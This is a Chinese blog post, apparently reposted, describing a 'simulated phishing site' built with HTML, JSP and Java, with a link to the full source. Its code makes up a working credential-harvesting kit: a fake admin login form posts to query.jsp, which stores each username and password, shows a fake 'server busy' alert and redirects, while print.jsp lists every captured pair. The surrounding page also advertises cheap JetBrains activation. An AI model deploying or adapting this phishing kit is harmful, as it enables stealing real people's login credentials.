Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]本次只是用最简单的方法模拟钓鱼网站。前端的代码是从网上下载的,我只是做了稍微的修改。整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):http://download.csdn.net/download/qq78442761/10247969最后的效果是如下图:输入用户名和密码后,会提醒服务器繁忙然后,我们登录到另外一个页面进行查看:这里涉及如下技术:1.修改网上下载的html…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

本次只是用最简单的方法模拟钓鱼网站。

前端的代码是从网上下载的,我只是做了稍微的修改。

整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):

http://download.csdn.net/download/qq78442761/10247969

最后的效果是如下图:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

输入用户名和密码后,会提醒服务器繁忙

然后,我们登录到另外一个页面进行查看:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

这里涉及如下技术:

1.修改网上下载的html代码,为自己所使用。

2.读取前端数据,填出提示框,和页面跳转。

3.用链表存储数据,用另外一个页面打印。

1.修改的前端html如下:

index.html的伪代码

<script>
	function login(){
		var form1=document.formLogin;
		form1.action="query.jsp";
		form1.submit();
	}
</script>

</head>
<body>
		<div class="container demo-1">
			<div class="content">
				<div id="large-header" class="large-header">
					<canvas id="demo-canvas"></canvas>
					<div class="logo_box">
						<h3>后台登录</h3>
						<form name="formLogin" action="#" name="f" method="post">
							<div class="input_outer">
								<span class="u_user"></span>
								<input name="logname" class="text" style="color: #FFFFFF !important" type="text" placeholder="请输入账户">
							</div>
							<div class="input_outer">
								<span class="us_uer"></span>
								<input name="logpass" class="text" style="color: #FFFFFF !important; position:absolute; z-index:100;"value="" type="password" placeholder="请输入密码">
							</div>
							<div class="mb2"><a class="act-but submit"   href="javascript:login(0);"  style="color: #FFFFFF">登录</a></div>
						</form>
					</div>
				</div>
			</div>
		</div><!-- /container -->

下面是获得前端数据,和实现跳转,弹出提示框功能:

query.jsp的伪代码

  <%
    	request.setCharacterEncoding("UTF-8");
    	String name=request.getParameter("logname");
    	String passWD=request.getParameter("logpass");
    	Data currData=new Data();
    	currData.setUserName(name);
    	currData.setPassWord(passWD);
    	DataList.put(currData);
    	
    	
    	out.print("<script>alert('服务器繁忙'); window.location.href='index.html'</script>");
    
     %>

下面是java代码,是链表的存储

data.java

package my;



public class Data {
	
	private String userName;
	private String passWord;
	
	public String getUserName() {
		return userName;
	}
	
	public void setUserName(String userName) {
		this.userName = userName;
	}
	
	public String getPassWord() {
		return passWord;
	}
	
	public void setPassWord(String passWord) {
		this.passWord = passWord;
	}
	
}

DataList.java的代码

package my;

import java.util.ArrayList;


public class DataList {
	public static ArrayList dataList=new ArrayList();
	public static void put(Data data){	//压入链尾
		dataList.add(data);
	}
	
}
	

最后是打印页面

print.jsp的伪代码

    <%
    int countNum=DataList.dataList.size();
    out.write("总数据是"+countNum+"</br>");
    out.write("收字符串首串是用户名,接着是密码!</br>");
    for(int i=0;i<DataList.dataList.size();i++){
   		Data data=(Data)DataList.dataList.get(i);
    	out.write(data.getUserName()+"-------------"+data.getPassWord()+"</br>");
    }
     %>

代码很简单,在此不再说明,逻辑也很清晰,需要源码的在最上面那个链接下载!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/172711.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • mac修改hosts文件_hosts文件修改权限

    mac修改hosts文件_hosts文件修改权限http://www.liubingyang.com/like/host-google-mac.html

  • java逻辑删除代码_MybatisPlus实现逻辑删除功能

    java逻辑删除代码_MybatisPlus实现逻辑删除功能逻辑删除你有没有见过某些网站进行一些删除操作之后,你看不到记录了但是管理员却能够查看到。这里就运用到了逻辑删除。什么是逻辑删除?逻辑删除的本质是修改操作,所谓的逻辑删除其实并不是真正的删除,而是在表中将对应的是否删除标识(deleted)或者说是状态字段(status)做修改操作。比如0是未删除,1是删除。在逻辑上数据是被删除的,但数据本身依然存在库中。对应的SQL语句:updateusers…

  • 如何和开发工程师交流

    如何和开发工程师交流

  • 微信定位精灵服务器或网络异常,为什么微信定位精灵定位不了怎么办?

    微信定位精灵服务器或网络异常,为什么微信定位精灵定位不了怎么办?方法如下:1、下载“微信定位精灵”软件,安装;2、按图示设置如下,然后缩小地图,把光标定位在大马或任意地方,点击左上角的圆形定位按键完成定位,点右上角的菜单栏,选择“启动微信”,接下来的正常操作就行了。3、打开手机网络,关掉手机的网络定位,GPS等等。打开精灵,看见地图中间有个十字架,那就是你将要定位的地方,比如你的朋友身边。5.点击左上角的定位按钮。一秒你就穿越了。6、打开右边的启动微信。找身边…

  • mac系统安装pycharm_mac下载python3

    mac系统安装pycharm_mac下载python3简介pycharm是一款针对python开发的优秀的IDE,以下是针对其在mac上的开发配置使用安装下载链接双击安装并打开应用修改主题pycharm默认的主题并不好看,不过也提供了一些其他的选择,这里我们选择Dacula的主体,设置的路径是Preference->Appearence&Behavior->Appearence效果如下python环境配置py开发当然是…

  • 视频直播连麦技术详解「建议收藏」

    视频直播连麦技术详解「建议收藏」前言:随着带宽、Wifi的不断升级,手机的普及,直播技术不断突破,各种门槛在降低,全民直播时代已经来临。直播也深入到各行各业,比如说在线教育,还有财经行业等,也渐渐成为各行各业的标配。云帆加速自成立以来就一直致力于流媒体领域企业服务,尤其对于直播,目前已经推出了针对于不同场景的直播云解决方案,在保证广大用户使用体验的前提下,为客户节省更多的研发成本。无论是传统企业转型,或者是创业企业,云帆加速都…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号